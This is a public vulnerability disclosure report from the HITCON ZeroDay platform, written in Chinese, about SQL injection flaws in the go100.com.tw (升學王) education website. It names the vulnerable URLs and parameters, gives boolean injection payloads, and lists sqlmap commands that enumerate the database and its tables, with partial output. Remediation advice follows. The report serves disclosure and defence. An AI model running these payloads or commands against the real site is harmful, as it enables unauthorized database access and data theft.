Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00589
- 發信 Vendor: 三貝德數位文創股份有限公司
- Title: 三貝德數位文創股份有限公司的升學王服務網存在多處資料庫隱碼注人(SQLi)漏洞
- Introduction: 查詢條件存在 SQL Injection漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/06/18 08:38:11 : 新提交 (由 阿美 更新此狀態)
- 2025/06/21 16:53:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/24 16:30:32 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/24 16:30:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/24 16:30:32 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/18 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2025-00589
- 通報者：gmwa (阿美)
- 風險：嚴重
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
https://www.go100.com.tw/list_transcript.php?sub1=111 的sub1欄位
https://www.go100.com.tw/list_cee.php?sub1=107&sub2=O&sub3=10 的sub1及sub3欄位
https://go100.com.tw/media_detail.php?tb=hot_news&xid=607 的xid欄位
敘述
對於存在SQLi的欄位，可以透過附加payload方式驗證，以下說明是以 https://www.go100.com.tw/article_detail.php?tb=exam_skills&xid=10 作例子。
1.先以正常方式「https://www.go100.com.tw/article_detail.php?tb=exam_skills&xid=10」 瀏覽，結果如圖1
2.在xid欄位注入「' AND 9>'8」使查詢條件成為 True AND True，即「https://www.go100.com.tw/article_detail.php?tb=exam_skills&xid=10%27+AND+9>%278 」 ，結果和正常瀏覽相同
3.在xid欄位注入「' AND 9<'8」使查詢條件成為 True AND False，即「https://www.go100.com.tw/article_detail.php?tb=exam_skills&xid=10%27+AND+9<%278 」，結果找不到資料，如圖2
4.在xid欄位注入「' OR 9<'8」使查詢條件成為 True OR Always-True，即「https://www.go100.com.tw/article_detail.php?tb=exam_skills&xid=10%27+OR+9>%278 」，結果返回資料集的第1筆，如圖3
其他端點的欄位亦可利用相同手法驗證
再以SQLMAP枚舉資料庫名稱的資料表清單（指令如下2式）：
sqlmap -v3 --force-ssl --leve=5 --risk=3 -u "https://www.go100.com.tw/article_detail.php?tb=exam_skills&xid=10" --batch --current-db
sqlmap -v3 --force-ssl --leve=5 --risk=3 -u "https://www.go100.com.tw/article_detail.php?tb=exam_skills&xid=10" --batch -D go100-2015 --tables
結果如下：
Database: go100-2015
[48 tables]
+------------------------+
| event |
| admin_authority |
| admin_basic |
| admin_menu |
| 以下資料表省略 |
修補建議
一、永遠不要直接拼接 SQL 字串，改用Prepared Statements / Parameterized Queries
二、用白名單驗證（Whitelist Validation）檢查使用者提交的資料之合法性、有效性。
三、限制資料庫權限（最小權限原則）
四、或使用 ORM 或 框架自帶的查詢建構器，如Laravel Eloquent